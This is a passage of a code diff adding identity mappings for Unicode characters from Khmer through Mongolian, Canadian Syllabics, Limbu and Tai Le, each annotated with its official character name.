+ ["\u17B0", "\u17B0"], /* KHMER INDEPENDENT VOWEL QAI */
+ ["\u17B1", "\u17B1"], /* KHMER INDEPENDENT VOWEL QOO TYPE ONE */
+ ["\u17B2", "\u17B2"], /* KHMER INDEPENDENT VOWEL QOO TYPE TWO */
+ ["\u17B3", "\u17B3"], /* KHMER INDEPENDENT VOWEL QAU */
+ ["\u17B4", "\u17B4"], /* KHMER VOWEL INHERENT AQ */
+ ["\u17B5", "\u17B5"], /* KHMER VOWEL INHERENT AA */
+ ["\u17B6", "\u17B6"], /* KHMER VOWEL SIGN AA */
+ ["\u17B7", "\u17B7"], /* KHMER VOWEL SIGN I */
+ ["\u17B8", "\u17B8"], /* KHMER VOWEL SIGN II */
+ ["\u17B9", "\u17B9"], /* KHMER VOWEL SIGN Y */
+ ["\u17BA", "\u17BA"], /* KHMER VOWEL SIGN YY */
+ ["\u17BB", "\u17BB"], /* KHMER VOWEL SIGN U */
+ ["\u17BC", "\u17BC"], /* KHMER VOWEL SIGN UU */
+ ["\u17BD", "\u17BD"], /* KHMER VOWEL SIGN UA */
+ ["\u17BE", "\u17BE"], /* KHMER VOWEL SIGN OE */
+ ["\u17BF", "\u17BF"], /* KHMER VOWEL SIGN YA */
+ ["\u17C0", "\u17C0"], /* KHMER VOWEL SIGN IE */
+ ["\u17C1", "\u17C1"], /* KHMER VOWEL SIGN E */
+ ["\u17C2", "\u17C2"], /* KHMER VOWEL SIGN AE */
+ ["\u17C3", "\u17C3"], /* KHMER VOWEL SIGN AI */
+ ["\u17C4", "\u17C4"], /* KHMER VOWEL SIGN OO */
+ ["\u17C5", "\u17C5"], /* KHMER VOWEL SIGN AU */
+ ["\u17C6", "\u17C6"], /* KHMER SIGN NIKAHIT */
+ ["\u17C7", "\u17C7"], /* KHMER SIGN REAHMUK */
+ ["\u17C8", "\u17C8"], /* KHMER SIGN YUUKALEAPINTU */
+ ["\u17C9", "\u17C9"], /* KHMER SIGN MUUSIKATOAN */
+ ["\u17CA", "\u17CA"], /* KHMER SIGN TRIISAP */
+ ["\u17CB", "\u17CB"], /* KHMER SIGN BANTOC */
+ ["\u17CC", "\u17CC"], /* KHMER SIGN ROBAT */
+ ["\u17CD", "\u17CD"], /* KHMER SIGN TOANDAKHIAT */
+ ["\u17CE", "\u17CE"], /* KHMER SIGN KAKABAT */
+ ["\u17CF", "\u17CF"], /* KHMER SIGN AHSDA */
+ ["\u17D0", "\u17D0"], /* KHMER SIGN SAMYOK SANNYA */
+ ["\u17D1", "\u17D1"], /* KHMER SIGN VIRIAM */
+ ["\u17D2", "\u17D2"], /* KHMER SIGN COENG */
+ ["\u17D3", "\u17D3"], /* KHMER SIGN BATHAMASAT */
+ ["\u17D4", "\u17D4"], /* KHMER SIGN KHAN */
+ ["\u17D5", "\u17D5"], /* KHMER SIGN BARIYOOSAN */
+ ["\u17D6", "\u17D6"], /* KHMER SIGN CAMNUC PII KUUH */
+ ["\u17D7", "\u17D7"], /* KHMER SIGN LEK TOO */
+ ["\u17D8", "\u17D8"], /* KHMER SIGN BEYYAL */
+ ["\u17D9", "\u17D9"], /* KHMER SIGN PHNAEK MUAN */
+ ["\u17DA", "\u17DA"], /* KHMER SIGN KOOMUUT */
+ ["\u17DB", "\u17DB"], /* KHMER CURRENCY SYMBOL RIEL */
+ ["\u17DC", "\u17DC"], /* KHMER SIGN AVAKRAHASANYA */
+ ["\u17DD", "\u17DD"], /* KHMER SIGN ATTHACAN */
+ ["\u17DE", "\u17DE"],
+ ["\u17DF", "\u17DF"],
+ ["\u17E0", "\u17E0"], /* KHMER DIGIT ZERO */
+ ["\u17E1", "\u17E1"], /* KHMER DIGIT ONE */
+ ["\u17E2", "\u17E2"], /* KHMER DIGIT TWO */
+ ["\u17E3", "\u17E3"], /* KHMER DIGIT THREE */
+ ["\u17E4", "\u17E4"], /* KHMER DIGIT FOUR */
+ ["\u17E5", "\u17E5"], /* KHMER DIGIT FIVE */
+ ["\u17E6", "\u17E6"], /* KHMER DIGIT SIX */
+ ["\u17E7", "\u17E7"], /* KHMER DIGIT SEVEN */
+ ["\u17E8", "\u17E8"], /* KHMER DIGIT EIGHT */
+ ["\u17E9", "\u17E9"], /* KHMER DIGIT NINE */
+ ["\u17EA", "\u17EA"],
+ ["\u17EB", "\u17EB"],
+ ["\u17EC", "\u17EC"],
+ ["\u17ED", "\u17ED"],
+ ["\u17EE", "\u17EE"],
+ ["\u17EF", "\u17EF"],
+ ["\u17F0", "\u17F0"], /* KHMER SYMBOL LEK ATTAK SON */
+ ["\u17F1", "\u17F1"], /* KHMER SYMBOL LEK ATTAK MUOY */
+ ["\u17F2", "\u17F2"], /* KHMER SYMBOL LEK ATTAK PII */
+ ["\u17F3", "\u17F3"], /* KHMER SYMBOL LEK ATTAK BEI */
+ ["\u17F4", "\u17F4"], /* KHMER SYMBOL LEK ATTAK BUON */
+ ["\u17F5", "\u17F5"], /* KHMER SYMBOL LEK ATTAK PRAM */
+ ["\u17F6", "\u17F6"], /* KHMER SYMBOL LEK ATTAK PRAM-MUOY */
+ ["\u17F7", "\u17F7"], /* KHMER SYMBOL LEK ATTAK PRAM-PII */
+ ["\u17F8", "\u17F8"], /* KHMER SYMBOL LEK ATTAK PRAM-BEI */
+ ["\u17F9", "\u17F9"], /* KHMER SYMBOL LEK ATTAK PRAM-BUON */
+ ["\u17FA", "\u17FA"],
+ ["\u17FB", "\u17FB"],
+ ["\u17FC", "\u17FC"],
+ ["\u17FD", "\u17FD"],
+ ["\u17FE", "\u17FE"],
+ ["\u17FF", "\u17FF"],
+ ["\u1800", "\u1800"], /* MONGOLIAN BIRGA */
+ ["\u1801", "\u1801"], /* MONGOLIAN ELLIPSIS */
+ ["\u1802", "\u1802"], /* MONGOLIAN COMMA */
+ ["\u1803", "\u1803"], /* MONGOLIAN FULL STOP */
+ ["\u1804", "\u1804"], /* MONGOLIAN COLON */
+ ["\u1805", "\u1805"], /* MONGOLIAN FOUR DOTS */
+ ["\u1806", "\u1806"], /* MONGOLIAN TODO SOFT HYPHEN */
+ ["\u1807", "\u1807"], /* MONGOLIAN SIBE SYLLABLE BOUNDARY MARKER */
+ ["\u1808", "\u1808"], /* MONGOLIAN MANCHU COMMA */
+ ["\u1809", "\u1809"], /* MONGOLIAN MANCHU FULL STOP */
+ ["\u180A", "\u180A"], /* MONGOLIAN NIRUGU */
+ ["\u180B", "\u180B"], /* MONGOLIAN FREE VARIATION SELECTOR ONE */
+ ["\u180C", "\u180C"], /* MONGOLIAN FREE VARIATION SELECTOR TWO */
+ ["\u180D", "\u180D"], /* MONGOLIAN FREE VARIATION SELECTOR THREE */
+ ["\u180E", "\u180E"], /* MONGOLIAN VOWEL SEPARATOR */
+ ["\u180F", "\u180F"], /* MONGOLIAN FREE VARIATION SELECTOR FOUR */
+ ["\u1810", "\u1810"], /* MONGOLIAN DIGIT ZERO */
+ ["\u1811", "\u1811"], /* MONGOLIAN DIGIT ONE */
+ ["\u1812", "\u1812"], /* MONGOLIAN DIGIT TWO */
+ ["\u1813", "\u1813"], /* MONGOLIAN DIGIT THREE */
+ ["\u1814", "\u1814"], /* MONGOLIAN DIGIT FOUR */
+ ["\u1815", "\u1815"], /* MONGOLIAN DIGIT FIVE */
+ ["\u1816", "\u1816"], /* MONGOLIAN DIGIT SIX */
+ ["\u1817", "\u1817"], /* MONGOLIAN DIGIT SEVEN */
+ ["\u1818", "\u1818"], /* MONGOLIAN DIGIT EIGHT */
+ ["\u1819", "\u1819"], /* MONGOLIAN DIGIT NINE */
+ ["\u181A", "\u181A"],
+ ["\u181B", "\u181B"],
+ ["\u181C", "\u181C"],
+ ["\u181D", "\u181D"],
+ ["\u181E", "\u181E"],
+ ["\u181F", "\u181F"],
+ ["\u1820", "\u1820"], /* MONGOLIAN LETTER A */
+ ["\u1821", "\u1821"], /* MONGOLIAN LETTER E */
+ ["\u1822", "\u1822"], /* MONGOLIAN LETTER I */
+ ["\u1823", "\u1823"], /* MONGOLIAN LETTER O */
+ ["\u1824", "\u1824"], /* MONGOLIAN LETTER U */
+ ["\u1825", "\u1825"], /* MONGOLIAN LETTER OE */
+ ["\u1826", "\u1826"], /* MONGOLIAN LETTER UE */
+ ["\u1827", "\u1827"], /* MONGOLIAN LETTER EE */
+ ["\u1828", "\u1828"], /* MONGOLIAN LETTER NA */
+ ["\u1829", "\u1829"], /* MONGOLIAN LETTER ANG */
+ ["\u182A", "\u182A"], /* MONGOLIAN LETTER BA */
+ ["\u182B", "\u182B"], /* MONGOLIAN LETTER PA */
+ ["\u182C", "\u182C"], /* MONGOLIAN LETTER QA */
+ ["\u182D", "\u182D"], /* MONGOLIAN LETTER GA */
+ ["\u182E", "\u182E"], /* MONGOLIAN LETTER MA */
+ ["\u182F", "\u182F"], /* MONGOLIAN LETTER LA */
+ ["\u1830", "\u1830"], /* MONGOLIAN LETTER SA */
+ ["\u1831", "\u1831"], /* MONGOLIAN LETTER SHA */
+ ["\u1832", "\u1832"], /* MONGOLIAN LETTER TA */
+ ["\u1833", "\u1833"], /* MONGOLIAN LETTER DA */
+ ["\u1834", "\u1834"], /* MONGOLIAN LETTER CHA */
+ ["\u1835", "\u1835"], /* MONGOLIAN LETTER JA */
+ ["\u1836", "\u1836"], /* MONGOLIAN LETTER YA */
+ ["\u1837", "\u1837"], /* MONGOLIAN LETTER RA */
+ ["\u1838", "\u1838"], /* MONGOLIAN LETTER WA */
+ ["\u1839", "\u1839"], /* MONGOLIAN LETTER FA */
+ ["\u183A", "\u183A"], /* MONGOLIAN LETTER KA */
+ ["\u183B", "\u183B"], /* MONGOLIAN LETTER KHA */
+ ["\u183C", "\u183C"], /* MONGOLIAN LETTER TSA */
+ ["\u183D", "\u183D"], /* MONGOLIAN LETTER ZA */
+ ["\u183E", "\u183E"], /* MONGOLIAN LETTER HAA */
+ ["\u183F", "\u183F"], /* MONGOLIAN LETTER ZRA */
+ ["\u1840", "\u1840"], /* MONGOLIAN LETTER LHA */
+ ["\u1841", "\u1841"], /* MONGOLIAN LETTER ZHI */
+ ["\u1842", "\u1842"], /* MONGOLIAN LETTER CHI */
+ ["\u1843", "\u1843"], /* MONGOLIAN LETTER TODO LONG VOWEL SIGN */
+ ["\u1844", "\u1844"], /* MONGOLIAN LETTER TODO E */
+ ["\u1845", "\u1845"], /* MONGOLIAN LETTER TODO I */
+ ["\u1846", "\u1846"], /* MONGOLIAN LETTER TODO O */
+ ["\u1847", "\u1847"], /* MONGOLIAN LETTER TODO U */
+ ["\u1848", "\u1848"], /* MONGOLIAN LETTER TODO OE */
+ ["\u1849", "\u1849"], /* MONGOLIAN LETTER TODO UE */
+ ["\u184A", "\u184A"], /* MONGOLIAN LETTER TODO ANG */
+ ["\u184B", "\u184B"], /* MONGOLIAN LETTER TODO BA */
+ ["\u184C", "\u184C"], /* MONGOLIAN LETTER TODO PA */
+ ["\u184D", "\u184D"], /* MONGOLIAN LETTER TODO QA */
+ ["\u184E", "\u184E"], /* MONGOLIAN LETTER TODO GA */
+ ["\u184F", "\u184F"], /* MONGOLIAN LETTER TODO MA */
+ ["\u1850", "\u1850"], /* MONGOLIAN LETTER TODO TA */
+ ["\u1851", "\u1851"], /* MONGOLIAN LETTER TODO DA */
+ ["\u1852", "\u1852"], /* MONGOLIAN LETTER TODO CHA */
+ ["\u1853", "\u1853"], /* MONGOLIAN LETTER TODO JA */
+ ["\u1854", "\u1854"], /* MONGOLIAN LETTER TODO TSA */
+ ["\u1855", "\u1855"], /* MONGOLIAN LETTER TODO YA */
+ ["\u1856", "\u1856"], /* MONGOLIAN LETTER TODO WA */
+ ["\u1857", "\u1857"], /* MONGOLIAN LETTER TODO KA */
+ ["\u1858", "\u1858"], /* MONGOLIAN LETTER TODO GAA */
+ ["\u1859", "\u1859"], /* MONGOLIAN LETTER TODO HAA */
+ ["\u185A", "\u185A"], /* MONGOLIAN LETTER TODO JIA */
+ ["\u185B", "\u185B"], /* MONGOLIAN LETTER TODO NIA */
+ ["\u185C", "\u185C"], /* MONGOLIAN LETTER TODO DZA */
+ ["\u185D", "\u185D"], /* MONGOLIAN LETTER SIBE E */
+ ["\u185E", "\u185E"], /* MONGOLIAN LETTER SIBE I */
+ ["\u185F", "\u185F"], /* MONGOLIAN LETTER SIBE IY */
+ ["\u1860", "\u1860"], /* MONGOLIAN LETTER SIBE UE */
+ ["\u1861", "\u1861"], /* MONGOLIAN LETTER SIBE U */
+ ["\u1862", "\u1862"], /* MONGOLIAN LETTER SIBE ANG */
+ ["\u1863", "\u1863"], /* MONGOLIAN LETTER SIBE KA */
+ ["\u1864", "\u1864"], /* MONGOLIAN LETTER SIBE GA */
+ ["\u1865", "\u1865"], /* MONGOLIAN LETTER SIBE HA */
+ ["\u1866", "\u1866"], /* MONGOLIAN LETTER SIBE PA */
+ ["\u1867", "\u1867"], /* MONGOLIAN LETTER SIBE SHA */
+ ["\u1868", "\u1868"], /* MONGOLIAN LETTER SIBE TA */
+ ["\u1869", "\u1869"], /* MONGOLIAN LETTER SIBE DA */
+ ["\u186A", "\u186A"], /* MONGOLIAN LETTER SIBE JA */
+ ["\u186B", "\u186B"], /* MONGOLIAN LETTER SIBE FA */
+ ["\u186C", "\u186C"], /* MONGOLIAN LETTER SIBE GAA */
+ ["\u186D", "\u186D"], /* MONGOLIAN LETTER SIBE HAA */
+ ["\u186E", "\u186E"], /* MONGOLIAN LETTER SIBE TSA */
+ ["\u186F", "\u186F"], /* MONGOLIAN LETTER SIBE ZA */
+ ["\u1870", "\u1870"], /* MONGOLIAN LETTER SIBE RAA */
+ ["\u1871", "\u1871"], /* MONGOLIAN LETTER SIBE CHA */
+ ["\u1872", "\u1872"], /* MONGOLIAN LETTER SIBE ZHA */
+ ["\u1873", "\u1873"], /* MONGOLIAN LETTER MANCHU I */
+ ["\u1874", "\u1874"], /* MONGOLIAN LETTER MANCHU KA */
+ ["\u1875", "\u1875"], /* MONGOLIAN LETTER MANCHU RA */
+ ["\u1876", "\u1876"], /* MONGOLIAN LETTER MANCHU FA */
+ ["\u1877", "\u1877"], /* MONGOLIAN LETTER MANCHU ZHA */
+ ["\u1878", "\u1878"], /* MONGOLIAN LETTER CHA WITH TWO DOTS */
+ ["\u1879", "\u1879"],
+ ["\u187A", "\u187A"],
+ ["\u187B", "\u187B"],
+ ["\u187C", "\u187C"],
+ ["\u187D", "\u187D"],
+ ["\u187E", "\u187E"],
+ ["\u187F", "\u187F"],
+ ["\u1880", "\u1880"], /* MONGOLIAN LETTER ALI GALI ANUSVARA ONE */
+ ["\u1881", "\u1881"], /* MONGOLIAN LETTER ALI GALI VISARGA ONE */
+ ["\u1882", "\u1882"], /* MONGOLIAN LETTER ALI GALI DAMARU */
+ ["\u1883", "\u1883"], /* MONGOLIAN LETTER ALI GALI UBADAMA */
+ ["\u1884", "\u1884"], /* MONGOLIAN LETTER ALI GALI INVERTED UBADAMA */
+ ["\u1885", "\u1885"], /* MONGOLIAN LETTER ALI GALI BALUDA */
+ ["\u1886", "\u1886"], /* MONGOLIAN LETTER ALI GALI THREE BALUDA */
+ ["\u1887", "\u1887"], /* MONGOLIAN LETTER ALI GALI A */
+ ["\u1888", "\u1888"], /* MONGOLIAN LETTER ALI GALI I */
+ ["\u1889", "\u1889"], /* MONGOLIAN LETTER ALI GALI KA */
+ ["\u188A", "\u188A"], /* MONGOLIAN LETTER ALI GALI NGA */
+ ["\u188B", "\u188B"], /* MONGOLIAN LETTER ALI GALI CA */
+ ["\u188C", "\u188C"], /* MONGOLIAN LETTER ALI GALI TTA */
+ ["\u188D", "\u188D"], /* MONGOLIAN LETTER ALI GALI TTHA */
+ ["\u188E", "\u188E"], /* MONGOLIAN LETTER ALI GALI DDA */
+ ["\u188F", "\u188F"], /* MONGOLIAN LETTER ALI GALI NNA */
+ ["\u1890", "\u1890"], /* MONGOLIAN LETTER ALI GALI TA */
+ ["\u1891", "\u1891"], /* MONGOLIAN LETTER ALI GALI DA */
+ ["\u1892", "\u1892"], /* MONGOLIAN LETTER ALI GALI PA */
+ ["\u1893", "\u1893"], /* MONGOLIAN LETTER ALI GALI PHA */
+ ["\u1894", "\u1894"], /* MONGOLIAN LETTER ALI GALI SSA */
+ ["\u1895", "\u1895"], /* MONGOLIAN LETTER ALI GALI ZHA */
+ ["\u1896", "\u1896"], /* MONGOLIAN LETTER ALI GALI ZA */
+ ["\u1897", "\u1897"], /* MONGOLIAN LETTER ALI GALI AH */
+ ["\u1898", "\u1898"], /* MONGOLIAN LETTER TODO ALI GALI TA */
+ ["\u1899", "\u1899"], /* MONGOLIAN LETTER TODO ALI GALI ZHA */
+ ["\u189A", "\u189A"], /* MONGOLIAN LETTER MANCHU ALI GALI GHA */
+ ["\u189B", "\u189B"], /* MONGOLIAN LETTER MANCHU ALI GALI NGA */
+ ["\u189C", "\u189C"], /* MONGOLIAN LETTER MANCHU ALI GALI CA */
+ ["\u189D", "\u189D"], /* MONGOLIAN LETTER MANCHU ALI GALI JHA */
+ ["\u189E", "\u189E"], /* MONGOLIAN LETTER MANCHU ALI GALI TTA */
+ ["\u189F", "\u189F"], /* MONGOLIAN LETTER MANCHU ALI GALI DDHA */
+ ["\u18A0", "\u18A0"], /* MONGOLIAN LETTER MANCHU ALI GALI TA */
+ ["\u18A1", "\u18A1"], /* MONGOLIAN LETTER MANCHU ALI GALI DHA */
+ ["\u18A2", "\u18A2"], /* MONGOLIAN LETTER MANCHU ALI GALI SSA */
+ ["\u18A3", "\u18A3"], /* MONGOLIAN LETTER MANCHU ALI GALI CYA */
+ ["\u18A4", "\u18A4"], /* MONGOLIAN LETTER MANCHU ALI GALI ZHA */
+ ["\u18A5", "\u18A5"], /* MONGOLIAN LETTER MANCHU ALI GALI ZA */
+ ["\u18A6", "\u18A6"], /* MONGOLIAN LETTER ALI GALI HALF U */
+ ["\u18A7", "\u18A7"], /* MONGOLIAN LETTER ALI GALI HALF YA */
+ ["\u18A8", "\u18A8"], /* MONGOLIAN LETTER MANCHU ALI GALI BHA */
+ ["\u18A9", "\u18A9"], /* MONGOLIAN LETTER ALI GALI DAGALGA */
+ ["\u18AA", "\u18AA"], /* MONGOLIAN LETTER MANCHU ALI GALI LHA */
+ ["\u18AB", "\u18AB"],
+ ["\u18AC", "\u18AC"],
+ ["\u18AD", "\u18AD"],
+ ["\u18AE", "\u18AE"],
+ ["\u18AF", "\u18AF"],
+ ["\u18B0", "\u18B0"], /* CANADIAN SYLLABICS OY */
+ ["\u18B1", "\u18B1"], /* CANADIAN SYLLABICS AY */
+ ["\u18B2", "\u18B2"], /* CANADIAN SYLLABICS AAY */
+ ["\u18B3", "\u18B3"], /* CANADIAN SYLLABICS WAY */
+ ["\u18B4", "\u18B4"], /* CANADIAN SYLLABICS POY */
+ ["\u18B5", "\u18B5"], /* CANADIAN SYLLABICS PAY */
+ ["\u18B6", "\u18B6"], /* CANADIAN SYLLABICS PWOY */
+ ["\u18B7", "\u18B7"], /* CANADIAN SYLLABICS TAY */
+ ["\u18B8", "\u18B8"], /* CANADIAN SYLLABICS KAY */
+ ["\u18B9", "\u18B9"], /* CANADIAN SYLLABICS KWAY */
+ ["\u18BA", "\u18BA"], /* CANADIAN SYLLABICS MAY */
+ ["\u18BB", "\u18BB"], /* CANADIAN SYLLABICS NOY */
+ ["\u18BC", "\u18BC"], /* CANADIAN SYLLABICS NAY */
+ ["\u18BD", "\u18BD"], /* CANADIAN SYLLABICS LAY */
+ ["\u18BE", "\u18BE"], /* CANADIAN SYLLABICS SOY */
+ ["\u18BF", "\u18BF"], /* CANADIAN SYLLABICS SAY */
+ ["\u18C0", "\u18C0"], /* CANADIAN SYLLABICS SHOY */
+ ["\u18C1", "\u18C1"], /* CANADIAN SYLLABICS SHAY */
+ ["\u18C2", "\u18C2"], /* CANADIAN SYLLABICS SHWOY */
+ ["\u18C3", "\u18C3"], /* CANADIAN SYLLABICS YOY */
+ ["\u18C4", "\u18C4"], /* CANADIAN SYLLABICS YAY */
+ ["\u18C5", "\u18C5"], /* CANADIAN SYLLABICS RAY */
+ ["\u18C6", "\u18C6"], /* CANADIAN SYLLABICS NWI */
+ ["\u18C7", "\u18C7"], /* CANADIAN SYLLABICS OJIBWAY NWI */
+ ["\u18C8", "\u18C8"], /* CANADIAN SYLLABICS NWII */
+ ["\u18C9", "\u18C9"], /* CANADIAN SYLLABICS OJIBWAY NWII */
+ ["\u18CA", "\u18CA"], /* CANADIAN SYLLABICS NWO */
+ ["\u18CB", "\u18CB"], /* CANADIAN SYLLABICS OJIBWAY NWO */
+ ["\u18CC", "\u18CC"], /* CANADIAN SYLLABICS NWOO */
+ ["\u18CD", "\u18CD"], /* CANADIAN SYLLABICS OJIBWAY NWOO */
+ ["\u18CE", "\u18CE"], /* CANADIAN SYLLABICS RWEE */
+ ["\u18CF", "\u18CF"], /* CANADIAN SYLLABICS RWI */
+ ["\u18D0", "\u18D0"], /* CANADIAN SYLLABICS RWII */
+ ["\u18D1", "\u18D1"], /* CANADIAN SYLLABICS RWO */
+ ["\u18D2", "\u18D2"], /* CANADIAN SYLLABICS RWOO */
+ ["\u18D3", "\u18D3"], /* CANADIAN SYLLABICS RWA */
+ ["\u18D4", "\u18D4"], /* CANADIAN SYLLABICS OJIBWAY P */
+ ["\u18D5", "\u18D5"], /* CANADIAN SYLLABICS OJIBWAY T */
+ ["\u18D6", "\u18D6"], /* CANADIAN SYLLABICS OJIBWAY K */
+ ["\u18D7", "\u18D7"], /* CANADIAN SYLLABICS OJIBWAY C */
+ ["\u18D8", "\u18D8"], /* CANADIAN SYLLABICS OJIBWAY M */
+ ["\u18D9", "\u18D9"], /* CANADIAN SYLLABICS OJIBWAY N */
+ ["\u18DA", "\u18DA"], /* CANADIAN SYLLABICS OJIBWAY S */
+ ["\u18DB", "\u18DB"], /* CANADIAN SYLLABICS OJIBWAY SH */
+ ["\u18DC", "\u18DC"], /* CANADIAN SYLLABICS EASTERN W */
+ ["\u18DD", "\u18DD"], /* CANADIAN SYLLABICS WESTERN W */
+ ["\u18DE", "\u18DE"], /* CANADIAN SYLLABICS FINAL SMALL RING */
+ ["\u18DF", "\u18DF"], /* CANADIAN SYLLABICS FINAL RAISED DOT */
+ ["\u18E0", "\u18E0"], /* CANADIAN SYLLABICS R-CREE RWE */
+ ["\u18E1", "\u18E1"], /* CANADIAN SYLLABICS WEST-CREE LOO */
+ ["\u18E2", "\u18E2"], /* CANADIAN SYLLABICS WEST-CREE LAA */
+ ["\u18E3", "\u18E3"], /* CANADIAN SYLLABICS THWE */
+ ["\u18E4", "\u18E4"], /* CANADIAN SYLLABICS THWA */
+ ["\u18E5", "\u18E5"], /* CANADIAN SYLLABICS TTHWE */
+ ["\u18E6", "\u18E6"], /* CANADIAN SYLLABICS TTHOO */
+ ["\u18E7", "\u18E7"], /* CANADIAN SYLLABICS TTHAA */
+ ["\u18E8", "\u18E8"], /* CANADIAN SYLLABICS TLHWE */
+ ["\u18E9", "\u18E9"], /* CANADIAN SYLLABICS TLHOO */
+ ["\u18EA", "\u18EA"], /* CANADIAN SYLLABICS SAYISI SHWE */
+ ["\u18EB", "\u18EB"], /* CANADIAN SYLLABICS SAYISI SHOO */
+ ["\u18EC", "\u18EC"], /* CANADIAN SYLLABICS SAYISI HOO */
+ ["\u18ED", "\u18ED"], /* CANADIAN SYLLABICS CARRIER GWU */
+ ["\u18EE", "\u18EE"], /* CANADIAN SYLLABICS CARRIER DENE GEE */
+ ["\u18EF", "\u18EF"], /* CANADIAN SYLLABICS CARRIER GAA */
+ ["\u18F0", "\u18F0"], /* CANADIAN SYLLABICS CARRIER GWA */
+ ["\u18F1", "\u18F1"], /* CANADIAN SYLLABICS SAYISI JUU */
+ ["\u18F2", "\u18F2"], /* CANADIAN SYLLABICS CARRIER JWA */
+ ["\u18F3", "\u18F3"], /* CANADIAN SYLLABICS BEAVER DENE L */
+ ["\u18F4", "\u18F4"], /* CANADIAN SYLLABICS BEAVER DENE R */
+ ["\u18F5", "\u18F5"], /* CANADIAN SYLLABICS CARRIER DENTAL S */
+ ["\u18F6", "\u18F6"],
+ ["\u18F7", "\u18F7"],
+ ["\u18F8", "\u18F8"],
+ ["\u18F9", "\u18F9"],
+ ["\u18FA", "\u18FA"],
+ ["\u18FB", "\u18FB"],
+ ["\u18FC", "\u18FC"],
+ ["\u18FD", "\u18FD"],
+ ["\u18FE", "\u18FE"],
+ ["\u18FF", "\u18FF"],
+ ["\u1900", "\u1900"], /* LIMBU VOWEL-CARRIER LETTER */
+ ["\u1901", "\u1901"], /* LIMBU LETTER KA */
+ ["\u1902", "\u1902"], /* LIMBU LETTER KHA */
+ ["\u1903", "\u1903"], /* LIMBU LETTER GA */
+ ["\u1904", "\u1904"], /* LIMBU LETTER GHA */
+ ["\u1905", "\u1905"], /* LIMBU LETTER NGA */
+ ["\u1906", "\u1906"], /* LIMBU LETTER CA */
+ ["\u1907", "\u1907"], /* LIMBU LETTER CHA */
+ ["\u1908", "\u1908"], /* LIMBU LETTER JA */
+ ["\u1909", "\u1909"], /* LIMBU LETTER JHA */
+ ["\u190A", "\u190A"], /* LIMBU LETTER YAN */
+ ["\u190B", "\u190B"], /* LIMBU LETTER TA */
+ ["\u190C", "\u190C"], /* LIMBU LETTER THA */
+ ["\u190D", "\u190D"], /* LIMBU LETTER DA */
+ ["\u190E", "\u190E"], /* LIMBU LETTER DHA */
+ ["\u190F", "\u190F"], /* LIMBU LETTER NA */
+ ["\u1910", "\u1910"], /* LIMBU LETTER PA */
+ ["\u1911", "\u1911"], /* LIMBU LETTER PHA */
+ ["\u1912", "\u1912"], /* LIMBU LETTER BA */
+ ["\u1913", "\u1913"], /* LIMBU LETTER BHA */
+ ["\u1914", "\u1914"], /* LIMBU LETTER MA */
+ ["\u1915", "\u1915"], /* LIMBU LETTER YA */
+ ["\u1916", "\u1916"], /* LIMBU LETTER RA */
+ ["\u1917", "\u1917"], /* LIMBU LETTER LA */
+ ["\u1918", "\u1918"], /* LIMBU LETTER WA */
+ ["\u1919", "\u1919"], /* LIMBU LETTER SHA */
+ ["\u191A", "\u191A"], /* LIMBU LETTER SSA */
+ ["\u191B", "\u191B"], /* LIMBU LETTER SA */
+ ["\u191C", "\u191C"], /* LIMBU LETTER HA */
+ ["\u191D", "\u191D"], /* LIMBU LETTER GYAN */
+ ["\u191E", "\u191E"], /* LIMBU LETTER TRA */
+ ["\u191F", "\u191F"],
+ ["\u1920", "\u1920"], /* LIMBU VOWEL SIGN A */
+ ["\u1921", "\u1921"], /* LIMBU VOWEL SIGN I */
+ ["\u1922", "\u1922"], /* LIMBU VOWEL SIGN U */
+ ["\u1923", "\u1923"], /* LIMBU VOWEL SIGN EE */
+ ["\u1924", "\u1924"], /* LIMBU VOWEL SIGN AI */
+ ["\u1925", "\u1925"], /* LIMBU VOWEL SIGN OO */
+ ["\u1926", "\u1926"], /* LIMBU VOWEL SIGN AU */
+ ["\u1927", "\u1927"], /* LIMBU VOWEL SIGN E */
+ ["\u1928", "\u1928"], /* LIMBU VOWEL SIGN O */
+ ["\u1929", "\u1929"], /* LIMBU SUBJOINED LETTER YA */
+ ["\u192A", "\u192A"], /* LIMBU SUBJOINED LETTER RA */
+ ["\u192B", "\u192B"], /* LIMBU SUBJOINED LETTER WA */
+ ["\u192C", "\u192C"],
+ ["\u192D", "\u192D"],
+ ["\u192E", "\u192E"],
+ ["\u192F", "\u192F"],
+ ["\u1930", "\u1930"], /* LIMBU SMALL LETTER KA */
+ ["\u1931", "\u1931"], /* LIMBU SMALL LETTER NGA */
+ ["\u1932", "\u1932"], /* LIMBU SMALL LETTER ANUSVARA */
+ ["\u1933", "\u1933"], /* LIMBU SMALL LETTER TA */
+ ["\u1934", "\u1934"], /* LIMBU SMALL LETTER NA */
+ ["\u1935", "\u1935"], /* LIMBU SMALL LETTER PA */
+ ["\u1936", "\u1936"], /* LIMBU SMALL LETTER MA */
+ ["\u1937", "\u1937"], /* LIMBU SMALL LETTER RA */
+ ["\u1938", "\u1938"], /* LIMBU SMALL LETTER LA */
+ ["\u1939", "\u1939"], /* LIMBU SIGN MUKPHRENG */
+ ["\u193A", "\u193A"], /* LIMBU SIGN KEMPHRENG */
+ ["\u193B", "\u193B"], /* LIMBU SIGN SA-I */
+ ["\u193C", "\u193C"],
+ ["\u193D", "\u193D"],
+ ["\u193E", "\u193E"],
+ ["\u193F", "\u193F"],
+ ["\u1940", "\u1940"], /* LIMBU SIGN LOO */
+ ["\u1941", "\u1941"],
+ ["\u1942", "\u1942"],
+ ["\u1943", "\u1943"],
+ ["\u1944", "\u1944"], /* LIMBU EXCLAMATION MARK */
+ ["\u1945", "\u1945"], /* LIMBU QUESTION MARK */
+ ["\u1946", "\u1946"], /* LIMBU DIGIT ZERO */
+ ["\u1947", "\u1947"], /* LIMBU DIGIT ONE */
+ ["\u1948", "\u1948"], /* LIMBU DIGIT TWO */
+ ["\u1949", "\u1949"], /* LIMBU DIGIT THREE */
+ ["\u194A", "\u194A"], /* LIMBU DIGIT FOUR */
+ ["\u194B", "\u194B"], /* LIMBU DIGIT FIVE */
+ ["\u194C", "\u194C"], /* LIMBU DIGIT SIX */
+ ["\u194D", "\u194D"], /* LIMBU DIGIT SEVEN */
+ ["\u194E", "\u194E"], /* LIMBU DIGIT EIGHT */
+ ["\u194F", "\u194F"], /* LIMBU DIGIT NINE */
+ ["\u1950", "\u1950"], /* TAI LE LETTER KA */
+ ["\u1951", "\u1951"], /* TAI LE LETTER XA */
+ ["\u1952", "\u1952"], /* TAI LE LETTER NGA */
+ ["\u1953", "\u1953"], /* TAI LE LETTER TSA */
+ ["\u1954", "\u1954"], /* TAI LE LETTER SA */
+ ["\u1955", "\u1955"], /* TAI LE LETTER YA */
